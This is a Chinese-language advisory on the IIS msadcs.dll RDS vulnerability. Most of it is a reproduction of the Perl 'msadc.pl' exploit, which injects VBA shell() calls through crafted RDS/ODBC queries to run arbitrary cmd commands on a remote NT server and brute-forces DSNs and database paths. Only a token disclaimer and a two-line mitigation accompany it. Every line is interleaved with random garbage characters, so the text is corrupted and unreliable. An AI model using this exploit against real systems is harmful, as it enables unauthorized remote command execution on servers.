IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
b{~fVil$y bDciZ7[b 涉及程序：
ntrY =Y Microsoft NT server
8Zcol$XS' =&di 4'` 描述：
b34zhZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]^iFqQe Nd]0 ta 详细：
XAjd
%Xv< 如果你没有时间读详细内容的话，就删除:
B,~f " c:\Program Files\Common Files\System\Msadc\msadcs.dll
);Tx5Z} 有关的安全问题就没有了。
P1(8U% 9nT?|n]> 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
kJ%{ [1fr QRsqPh&- 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;Ri 3#*a= 关于利用ODBC远程漏洞的描述，请参看:
~v.jZ/h RpHpMtvNo/ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <MPeh&_3# :.C+ ?$iuX 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
,|e} Y
[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp j4E H2v U>/<6 Wd 这里不再论述。
IY];Ss&i R<0Fy =z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
R^jlEt\&P G wgFi@itN /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ak x H 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
#=X)Jx~ f:_=5e
+ #^ 5a\XJb #将下面这段保存为txt文件，然后: "perl -x 文件名"
DY)D(f/&3 n?y 'c^ #!perl
Dl0/-=L #
F{TC#J}I%' # MSADC/RDS 'usage' (aka exploit) script
(3e;"' k #
WuBmdjZ # by rain.forest.puppy
Wr] O #
4a\n4KO X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xCR;
K]! # beta test and find errors!
^36M0h|R .i
MnWW use Socket; use Getopt::Std;
5,F;j<F getopts("e:vd:h:XR", \%args);
Bj;\mUsk }*? yHJ3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^{),+S [yO=S0 e if (!defined $args{h} && !defined $args{R}) {
3CA|5A.Pa print qq~
RxlszyE Usage: msadc.pl -h <host> { -d <delay> -X -v }
Zw2jezP@t -h <host> = host you want to scan (ip or domain)
gE\A9L~b -d <seconds> = delay between calls, default 1 second
IM@"AD52a -X = dump Index Server path table, if available
7sj<|g<h(_ -v = verbose
U5|B9%:& -e = external dictionary file for step 5
/m97CC#+ `-~`<#E[ Or a -R will resume a command session
o^6jyb!j 4uFIpS|rq ~; exit;}
1v;'d1Hg; $8jaapNm@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
V]r hr if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
r %+Bc Y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+#0~:&!9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u@AI&[Z $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pI
&o?n if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Bk&-1>cY J
cP~-cp if (!defined $args{R}){ $ret = &has_msadc;
7 r H'1U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0Xp
nbB~~I %_>Tcm= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1#/6r : . "cmd /c ";
Ynvj; $in=<STDIN>; chomp $in;
[6O04"6K $command="cmd /c " . $in ;
:M@Mmp Ph cZ^wQ5= if (defined $args{R}) {&load; exit;}
5(423"(y Ud$Q 0m& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Tj Mb>w9 &try_btcustmr;
DG3[^B cvhlRI%6 print "\nStep 2: Trying to make our own DSN...";
_8al &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+-U@0&Y3M FH4u$ g+ print "\nStep 3: Trying known DSNs...";
a|U}Ammr &known_dsn;
{nTG~d ]y.R g {iv print "\nStep 4: Trying known .mdbs...";
wjL|Z8 &known_mdb;
oBb?"2 ~9 4 ^4d9?c if (defined $args{e}){
yDzdE; print "\nStep 5: Trying dictionary of DSN names...";
IeZ&7u &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
tL1P<1j_ vuXS/ d print "Sorry Charley...maybe next time?\n";
HF]EU !OT exit;
j]>=1Rd0b( Ky *DfQA ##############################################################################
4ffU;6~l' {wcO[bN sub sendraw { # ripped and modded from whisker
juH wHt sleep($delay); # it's a DoS on the server! At least on mine...
CF\R<rF<VS my ($pstr)=@_;
:"V ujvFX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<3lUV 7! die("Socket problems\n");
l"kx r96 if(connect(S,pack "SnA4x8",2,80,$target)){
c!mG1lwD. select(S); $|=1;
"@4ghot t print $pstr; my @in=<S>;
&2Q*1YX j select(STDOUT); close(S);
b"Zq0M0 l return @in;
{H+? z<BF< } else { die("Can't connect...\n"); }}
J,RDTXqn )AJ=an||5 ##############################################################################
TiQ^}5~M Vd21,~^>g sub make_header { # make the HTTP request
!Qcir&]C> my $msadc=<<EOT
]dq5hkjpU POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8-ZUS|7B User-Agent: ACTIVEDATA
<.}Ua( Host: $ip
2yvVeo&3 Content-Length: $clen
#\L Z;&T'N Connection: Keep-Alive
"NKf0F U~wjR"=' ADCClientVersion:01.06
x )3~il5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
j AQU~Ol_ p !}ZdX[u --!ADM!ROX!YOUR!WORLD!
7u::5 W-q Content-Type: application/x-varg
U_l7CC K + Content-Length: $reqlen
Q70b EHLA .9OFryo EOT
IfMpY;ow= ; $msadc=~s/\n/\r\n/g;
9qr UM`z$g return $msadc;}
Z ^*NnL.' mpA HL( ##############################################################################
q4k.f_{ {c@G$ sub make_req { # make the RDS request
@UO}W_0ZD my ($switch, $p1, $p2)=@_;
}"n7~| my $req=""; my $t1, $t2, $query, $dsn;
:@/ "abv U;p e: if ($switch==1){ # this is the btcustmr.mdb query
1M+oTIN $query="Select * from Customers where City=" . make_shell();
N 'i,> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-6`;},Yr $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a8zZgIV mB`D}g$ elsif ($switch==2){ # this is general make table query
lufeieW $query="create table AZZ (B int, C varchar(10))";
L<=) @7 $dsn="$p1";}
(UGol[f< 'B`#:tX^N elsif ($switch==3){ # this is general exploit table query
c" +zgP $query="select * from AZZ where C=" . make_shell();
#]y5z i $dsn="$p1";}
O# : &*Mv =JW[pRI5a elsif ($switch==4){ # attempt to hork file info from index server
AWT"Y4Ie $query="select path from scope()";
U<[jT=L $dsn="Provider=MSIDXS;";}
Oc~aW3*A( U(*yL- elsif ($switch==5){ # bad query
csDQva\ $query="select";
w12}Rn8 $dsn="$p1";}
=!CU $g W$' 0Dc $t1= make_unicode($query);
8+ >\3j $t2= make_unicode($dsn);
h>klTP M> $req = "\x02\x00\x03\x00";
Vo M 6 $req.= "\x08\x00" . pack ("S1", length($t1));
"r. . $req.= "\x00\x00" . $t1 ;
! Mo`^ t $req.= "\x08\x00" . pack ("S1", length($t2));
LG&5VxT=,< $req.= "\x00\x00" . $t2 ;
|` "? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;&
|qSa' return $req;}
'M N1A;IJ kiX%3( ##############################################################################
gu<V (M\ \[ M_\&GC sub make_shell { # this makes the shell() statement
OKAkl return "'|shell(\"$command\")|'";}
[;^,CD|P u-szt ? O| ##############################################################################
:u/mTZDi `Mk4sKU\a sub make_unicode { # quick little function to convert to unicode
qfr Ni1\9- my ($in)=@_; my $out;
[!~}S for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
q@ZlJ3%l, return $out;}
M{E{N K NXI[q 'y ##############################################################################
XYAmJ uR_F,Mp?%u sub rdo_success { # checks for RDO return success (this is kludge)
/ M@ PO" my (@in) = @_; my $base=content_start(@in);
:YNp8!?T ? if($in[$base]=~/multipart\/mixed/){
V!& P(YO: return 1 if( $in[$base+10]=~/^\x09\x00/ );}
LT_iS^&1 return 0;}
*_"u)<J vv+J0f^ ##############################################################################
,{KCY[}| +EkW>$ sub make_dsn { # this makes a DSN for us
sV2iITF p my @drives=("c","d","e","f");
z"UPyW1? print "\nMaking DSN: ";
1bSD,;$sQ foreach $drive (@drives) {
,2,5Odrz print "$drive: ";
x=*L- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
e&1 \'Zq?> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Mu2`ODe] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
BJ5}GX! $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
BQ#L+9% return 0 if $2 eq "404"; # not found/doesn't exist
jg_n 7 if($2 eq "200") {
@Y-TOCadT foreach $line (@results) {
S_\
F return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Cj^{9'0 } return 0;}
nIBFk?)6 >qh?L#Fk ##############################################################################
]tY:,Mfs Cv^`&\[SW+ sub verify_exists {
; `UecLb# my ($page)=@_;
Y b:pAzw6 my @results=sendraw("GET $page HTTP/1.0\n\n");
tsv$ r$Se return $results[0];}
Lgi[u"Du ]db@RbaH ##############################################################################
k g >>D K5k?H sub try_btcustmr {
h{_*oBa my @drives=("c","d","e","f");
0m)&Y FZ[( my @dirs=("winnt","winnt35","winnt351","win","windows");
Qf@i U%G f$F*3 foreach $dir (@dirs) {
j *3}1L4P print "$dir -> "; # fun status so you can see progress
s bS~N*{E foreach $drive (@drives) {
Ns=AjhLc z print "$drive: "; # ditto
ZnfNQl[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
+iA=y=;blH $reqlenlen=length( "$reqlen" );
Z
cpmquf8L $clen= 206 + $reqlenlen + $reqlen;
/3B6 Mtb
4["&O=:d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
s| -FH X if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(
u`W!{1\ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
HOZRYIQB OYmi?y\ ##############################################################################
8)wt $b hfrnxeM#~ sub odbc_error {
C@gXT]Q
0} my (@in)=@_; my $base;
+sZUJ my $base = content_start(@in);
= yXs?y" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
L
CSeOR $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YnTB&GPxl $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}roG( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
AK-}V4C/A return $in[$base+4].$in[$base+5].$in[$base+6];}
rU2iy"L print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I1"MPx{ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
<Q5Le dN $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
=6T
4>rP a07= tD ##############################################################################
ll<NIdf\r M1! pQC_9 sub verbose {
$nPAm6 mH my ($in)=@_;
Bf msMW return if !$verbose;
Qa `hR print STDOUT "\n$in\n";}
jbte
*Ae n$["z
w ##############################################################################
%y<]Yzv. j irbUl sub save {
$_X|, v9 my ($p1, $p2, $p3, $p4)=@_;
,)fkr]`< open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]axh*J3`i print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^g>1U 5c close OUT;}
~?Omy8# r\M9_s8 ##############################################################################
N "Wqy Hs (D/&6% sub load {
w4:\N U my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=f 7r69I" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
- u3e5gW @p=<IN>; close(IN);
}!d;(/)rb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3,eIB( $target= inet_aton($ip) || die("inet_aton problems");
ma& To= print "Resuming to $ip ...";
"Ty/ k8? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
KfY$ka[}"S if($p[1]==1) {
,,<PVTd $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
uCP> y6I $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
rrBAQY|. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
KMK `F{ if (rdo_success(@results)){print "Success!\n";}
HOi C else { print "failed\n"; verbose(odbc_error(@results));}}
E ]} n( elsif ($p[1]==3){
.dmi #%W if(run_query("$p[3]")){
l!~
mxUb print "Success!\n";} else { print "failed\n"; }}
$2#7 D*
Rx elsif ($p[1]==4){
N Pjv)TN}3 if(run_query($drvst . "$p[3]")){
SUtf[6 print "Success!\n"; } else { print "failed\n"; }}
/Cr/RG:OX exit;}
E~hzh /,34 slW3qRT\k ##############################################################################
T-" I9kM "ZMkL)'7- sub create_table {
]MTbW=*}ED my ($in)=@_;
q/ &y*)&'O $reqlen=length( make_req(2,$in,"") ) - 28;
8im@4A +n` $reqlenlen=length( "$reqlen" );
(lH,JX`$a $clen= 206 + $reqlenlen + $reqlen;
USPTpjt8R my @results=sendraw(make_header() . make_req(2,$in,""));
ANM g return 1 if rdo_success(@results);
~H /2R my $temp= odbc_error(@results); verbose($temp);
\h{r;#g return 1 if $temp=~/Table 'AZZ' already exists/;
|M~ON= return 0;}
% y`7);.q yy2I2Bv ##############################################################################
c u7(. Q(@IK&v sub known_dsn {
&%C4Ug o # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
z ; }6f my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
wz
/GB8P "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
P= 8>c'Q "banner", "banners", "ads", "ADCDemo", "ADCTest");
F?4 (5 K kCP$I732 foreach $dSn (@dsns) {
m
<k!^jp print ".";
RDQ^dui next if (!is_access("DSN=$dSn"));
6f%DpJ:$U if(create_table("DSN=$dSn")){
%i0\1hhV< print "$dSn successful\n";
@xWdO,# if(run_query("DSN=$dSn")){
,"?A2n-qO print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w~\% vXla print "Something's borked. Use verbose next time\n";}}} print "\n";}
JBX[bx52<r dZ(|uC!? ##############################################################################
4dh+ Ca>& sub is_access {
)NW6?Pu" my ($in)=@_;
]<w:V` ( $reqlen=length( make_req(5,$in,"") ) - 28;
5\4g>5PD $reqlenlen=length( "$reqlen" );
=hH.zr I6e $clen= 206 + $reqlenlen + $reqlen;
2y GOzc my @results=sendraw(make_header() . make_req(5,$in,""));
E
l&h;N my $temp= odbc_error(@results);
P`SnavQBt verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/!&R9!6
: return 0;}
]]iPEm"@ WQePSU ##############################################################################
o|8`>!hF t} p@:' sub run_query {
HK=[U9 o? my ($in)=@_;
NX6nQ $reqlen=length( make_req(3,$in,"") ) - 28;
' [0AH M $reqlenlen=length( "$reqlen" );
d]v+mVAyE $clen= 206 + $reqlenlen + $reqlen;
+V( 5w`qx my @results=sendraw(make_header() . make_req(3,$in,""));
I=Zx"'Um return 1 if rdo_success(@results);
i76 Yo5 my $temp= odbc_error(@results); verbose($temp);
U9d: @9Y return 0;}
c| ~6Ie l}g;'9ZB ##############################################################################
(k "_># % )LHj+B sub known_mdb {
'3(l-nPiG^ my @drives=("c","d","e","f","g");
qN|
fEO > my @dirs=("winnt","winnt35","winnt351","win","windows");
VHUW]8We my $dir, $drive, $mdb;
Z@rN_WXx my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u= l1s1> JiS5um=(. # this is sparse, because I don't know of many
x; E2~&E my @sysmdbs=( "\\catroot\\icatalog.mdb",
7,$z;Lr0S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2&(sa0*y "\\system32\\certmdb.mdb",
?/#}ZZK^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
quu*xJ;Ci \+PIe7f_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
1&)_(|p[C "\\cfusion\\cfapps\\forums\\forums_.mdb",
|| B;o- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
A2H4k|8 "\\cfusion\\cfapps\\security\\realm_.mdb",
g[z.*y/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-7]Xjb5 "\\cfusion\\database\\cfexamples.mdb",
)9nE lb2 "\\cfusion\\database\\cfsnippets.mdb",
YE+$H%Jl! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
OyG "1F "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p='-\M74K "\\cfusion\\brighttiger\\database\\cleam.mdb",
deX5yrvOie "\\cfusion\\database\\smpolicy.mdb",
)h$NS2B` "\\cfusion\\database\cypress.mdb",
Vd9 @Dy "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<eN R8(P "\\website\\cgi-win\\dbsample.mdb",
0Fr1Ku! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_!V%f w "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^U7OMl4Usq ); #these are just
VV_l$E$ foreach $drive (@drives) {
B0UJq./` foreach $dir (@dirs){
ZXb0Y2AVx foreach $mdb (@sysmdbs) {
r4 dOK] 0 print ".";
I*[tMzE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
V9 }t0$LN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|1=
!;.# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T 5lQIr@a print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
xycH~ ? } else { print "Something's borked. Use verbose next time\n"; }}}}}
Z+:D)L [Gr*,nVvB foreach $drive (@drives) {
y6HuN foreach $mdb (@mdbs) {
Bs tk{&ew print ".";
$So%d9k if(create_table($drv . $drive . $dir . $mdb)){
+{`yeZ9S print "\n" . $drive . $dir . $mdb . " successful\n";
<&!]K?Q9i if(run_query($drv . $drive . $dir . $mdb)){
lT8\}hNI+ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
E">T* ao } else { print "Something's borked. Use verbose next time\n"; }}}}
V rP}#3I }
n]CbDbNw7) 5ua?I9fY ##############################################################################
,5k-.Md>2* I0= NaZ7 sub hork_idx {
y>VcgLIB print "\nAttempting to dump Index Server tables...\n";
F_;tT%ywfx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
:K.4 n $reqlen=length( make_req(4,"","") ) - 28;
P1zK2sL_ $reqlenlen=length( "$reqlen" );
QGnxQ{ko $clen= 206 + $reqlenlen + $reqlen;
3eIr{xs my @results=sendraw2(make_header() . make_req(4,"",""));
nY? if (rdo_success(@results)){
}k$4/7ri my $max=@results; my $c; my %d;
wOgE|n for($c=19; $c<$max; $c++){
S9sR# $results[$c]=~s/\x00//g;
*iX e^ <6v $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
N> Jw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
zzpZ19"`1 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
^+70<#Xc $d{"$1$2"}="";}
3HV%4nZLf foreach $c (keys %d){ print "$c\n"; }
yYJY;".H } else {print "Index server doesn't seem to be installed.\n"; }}
Al"3 kRJJ P.WYTst= ##############################################################################
M++0zhS y &T &1o sub dsn_dict {
(g8*d^u#PO open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tl8O6`<Z while(<IN>){
jh ez $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.q`{Dgc~ next if (!is_access("DSN=$dSn"));
#G^A-yjn if(create_table("DSN=$dSn")){
B~WtZ-%%E print "$dSn successful\n";
jB$SUO`* if(run_query("DSN=$dSn")){
g;p)n print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H3/caN : print "Something's borked. Use verbose next time\n";}}}
1cN')" print "\n"; close(IN);}
VA Q)Hc] [ .yJV` ##############################################################################
=5]n\"/ KpZ:Nh$ sub sendraw2 { # ripped and modded from whisker
aC=['a>) sleep($delay); # it's a DoS on the server! At least on mine...
~Vh =5J~ my ($pstr)=@_;
my\&h CE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Iq5pAHm>M6 die("Socket problems\n");
b}z`BRCc if(connect(S,pack "SnA4x8",2,80,$target)){
6Y*;{\Rd print "Connected. Getting data";
70 W"G
X& open(OUT,">raw.out"); my @in;
!AN^ ,v]D select(S); $|=1; print $pstr;
+JdZPb while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{Q (}DI close(OUT); select(STDOUT); close(S); return @in;
@|-OJ 4[5 } else { die("Can't connect...\n"); }}
a=}*mF[ug ".2K9j7$ ##############################################################################
mNmUUj9z *M M#Z?mP sub content_start { # this will take in the server headers
>=,ua u7 my (@in)=@_; my $c;
F#r#}.B='U for ($c=1;$c<500;$c++) {
X~U >LLr if($in[$c] =~/^\x0d\x0a/){
`x 8B n" if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8QgA@ y" else { return $c+1; }}}
xh9q g0d return -1;} # it should never get here actually
%|Qw9sbd Y>6.t"?Q^ ##############################################################################
$n=lsDnhQ {")\0|2\x sub funky {
GlYly5F my (@in)=@_; my $error=odbc_error(@in);
'?Bg;Z'L % if($error=~/ADO could not find the specified provider/){
)najO *n print "\nServer returned an ADO miscofiguration message\nAborting.\n";
rj]
E@W exit;}
Zc5
:]] if($error=~/A Handler is required/){
9M$/=>^
Z print "\nServer has custom handler filters (they most likely are patched)\n";
@s* ,xH E exit;}
3}Xc 71|v if($error=~/specified Handler has denied Access/){
Mhpdao s print "\nServer has custom handler filters (they most likely are patched)\n";
$g8}^1 exit;}}
^QL 877 -AD2I {C ##############################################################################
| Fln8wB C".1+ Um sub has_msadc {
NlPS# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
2Oc$+St~8 my $base=content_start(@results);
{ISE'GJj return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
I<\
'% return 0;}
Buc_9Kzw<+ 19u =W( ########################
UPh=+s #Q 4iX-( ir, je%M AgW` 解决方案：
P~7.sM 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
H[&@}v,L 2、移除web 目录: /msadc
